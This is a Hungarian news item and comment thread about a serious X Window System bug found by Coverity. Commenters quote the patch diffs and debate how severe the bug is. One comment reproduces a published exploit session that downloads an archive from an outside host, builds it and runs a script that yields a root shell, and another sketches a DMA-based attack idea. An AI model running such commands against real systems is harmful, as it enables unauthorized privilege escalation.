A Coverity rendkívül súlyos hibát talált az X-ben

Címkék

A fejlett forráskód-elemző szoftveréről ismert Coverity bejelentette, hogy a US Department of Homeland Security-vel (DHS) kötött szerződésének eredményeként az elmúlt hat év legsúlyosabb bugját találták meg és javították ki az X Window System-ben.

A Coverity Prevent nevű eszközt felhasználva fedezték fel a fejlesztők azt a hibát, amely a bejelentés szerint milliók számítógépén futó X Window System-et érinti.

Daniel Stone, az X.Org Foundation kiadáskért felelős menedzsere szerint a hiba egyike azoknak a legjelentősebb hibáknak, amelyet az elmúlt években fedeztek fel. Mint elmondta, olyan szintű hibáról van szó, amilyet kb. 3-6 évente egyszer fedeznek fel, és ami az X biztonságának szempontjából a közel a legrosszabb lehet.

Bővebben a bejelentésben.

(A bejelentésben nem szerepel, de a szóban forgó hiba valószínűleg a CVE-2006-1526-os (Clients authorized to connect to the X server are able to crash it and to execute malicious code within the X server) hibajegyen szereplő hiba. Az OpenBSD már be is jelentette a javításokat.)

Hozzászólások

Gigalol a hiba, exploitálni meg triviális... ;)

Ez tényleg nagyon gáz, csodálkozom is, hogy csak most derült ki...
A geteuid még hagyján, azt tényleg nehéz észrevenni, kivéve ha direkt ezt teszteli az ember, nade az ALLOCATE_LOCAL...

"...handing C++ to the average programmer seems roughly comparable to handing a loaded .45 to a chimpanzee."
-- Ted Ts'o

Ez volt a hiba:

This:

if (getuid() == 0 || geteuid != 0)

Should have been this:

if (getuid() == 0 || geteuid() != 0)

Most azert nem vagyok poengyilkos, ugye?

Bocs, de nem ez volt a hiba (mint ahogy az lwn-en is írtam, olvass lejjebb). Amit írtál, az egy három hónapos hiba.

A hiba ez volt:

if (npoint < 3)
return;
ntri = npoint - 2;
- tris = ALLOCATE_LOCAL (ntri & sizeof (xTriangle));
+ tris = ALLOCATE_LOCAL (ntri * sizeof (xTriangle));
if (!tris)
return;
for (tri = tris; npoint >= 3; npoint--, points++, tri++)
@@ -177,7 +177,7 @@
if (npoint < 3)
return;
ntri = npoint - 2;
- tris = ALLOCATE_LOCAL (ntri & sizeof (xTriangle));
+ tris = ALLOCATE_LOCAL (ntri * sizeof (xTriangle));
if (!tris)
return;
first = points++;

Úgyhogy nem vagy poéngyilkos.

--
trey @ gépház

Jol ertem a hibat, hogy egy olyan X kliens, aminek amugyis van joga az X szerveren rajzolni, manipulalni az esemenyeket, a clipboardot, az eroforrasokat, most mar le is tudja fagyasztani a szervert, sot meg kodot is futtathat? Nem nevetseges ezt ekkora hibanak beallitani?

Gondolkoztam rajta én is, hiszen volt már az elmúlt években néhány cifra X hiba. Szerintem ez úgy ment, hogy Coverity marketing szakembere azt gondolta kéne egy zsét keresni. Szólt az X-es csávóknak, hogy találtunk egy hibát, akarok-e pénztet keresni. Mondták, hogy hiba így is, úgy is van, akkor már miért ne lenne belőle pénz. 10%-ért helyeseltek, hogy milyen nagy hiba, meg hűha. A Coverity meg ettől nagyobb eladást remél.

És most mindenki boldog :-)

--
trey @ gépház

Mind a két hibát a Coverity találta és nyilván a geteuid() a problémásabb... Exploitálni triviális, mint ahogy H D Moore is írta:


$ wget http://metasploit.com/users/hdm/tools/xmodulepath.tgz
$ tar -zpxvf xmodulepath.tgz
$ cd xmodulepath
$ ./root.sh
/bin/rm -f exploit.o exploit.so shell *.o *.so
gcc -fPIC -c exploit.c
gcc -shared -nostdlib exploit.o -o exploit.so
gcc -o shell shell.c

X Window System Version 7.0.0
Release Date: 21 December 2005
X Protocol Version 11, Revision 0, Release 7.0

[ snip ]
r00t # id
uid=0(root) gid=100(users) groups=10(wheel),18(audio)...

"Mind a két hibát a Coverity találta"

Ki állította az ellenkezőjét?

"és nyilván a geteuid() a problémásabb..."

Ki vitatta? Annyit mondtam fentebb, hogy ez már egy régi hiba (márciusi, most meg azt hiszem májust írunk).

"Exploitálni triviális, mint ahogy H D Moore is írta:"

Senki sem állította, hogy nem.

Akkor ezt most miért is írtad ide? ;-)

--
trey @ gépház

Mivel azt írtad kettővel feljebb, hogy "nem ez volt a hiba". De, ez _is_ X hiba és ezt _is_ a Coverity találta és _mindkettő_ security probléma és _mindkettőt_ könnyű kihasználni, ezért kicsit erős azt állítani, hogy ez csak egyszerű Coverity reklám volt. _Ezért_ írtam írtam ezt most ide. ;)

Én pl. még nagyobb csetepatét csapnék belőle, mert ez a "geteuid()" -> "geteuid" téma nekem erőteljesen backdoor szagúnak tűnik és nem véletlen programozási hibának. Emlékszünk még a kernel.org-os "current->uid == 0" -> "current->uid = 0" mutatványra, amelyet ugyan a szemfüles BitMoveres Larry észrevett, de már akkor is látszott, hogy a nyílt forrású megoldások ugyanúgy ki vannak szolgáltatva az ügyesen elrejtett kiskapuknak?

És ráadásul még azellennemvééd is az openbsd nem rootként fut megoldása is, mert az X szerver közvetlenül buzerál egy olyan hardvert, ami tetszőlegesen tud dma-zni. Innentől kezdve hiába fut userspaceben az X, csak egy olyan kódot kell injektálni, ami a gépben található grafkártya dma command regisztereibe beleírkál mindenfélét és voila, meg van kerülve a memóriavédelem. Azzal sincs gond, hogy milyen grafkártya van a gépben, mert kb 3 gyártó (Intel/Ati/Nvidia) termékei fedik a teljes piac 95%-át és a gyártók az egyes generációk között nem nagyon változtatgatnak az alap regiszterkiosztáson. Tehát gyakorlatilag switch(vendor) { case Ati: ... break; case Nvidia: ... break; case Intel: ... } és majdnem univerzális támadó kódunk van. Nem véletlen egyébként, hogy Theoék "evil"-nek nevezik a mai grafkártyákat. Szóval vagy rohamos gyorsasággal elkezdik rendbeszedni az X.org kódbázisát vagy nagyon gusztustalan exploitok fognak erre megjelenni.
---
Apparently the human mind is not unlike cookie dough.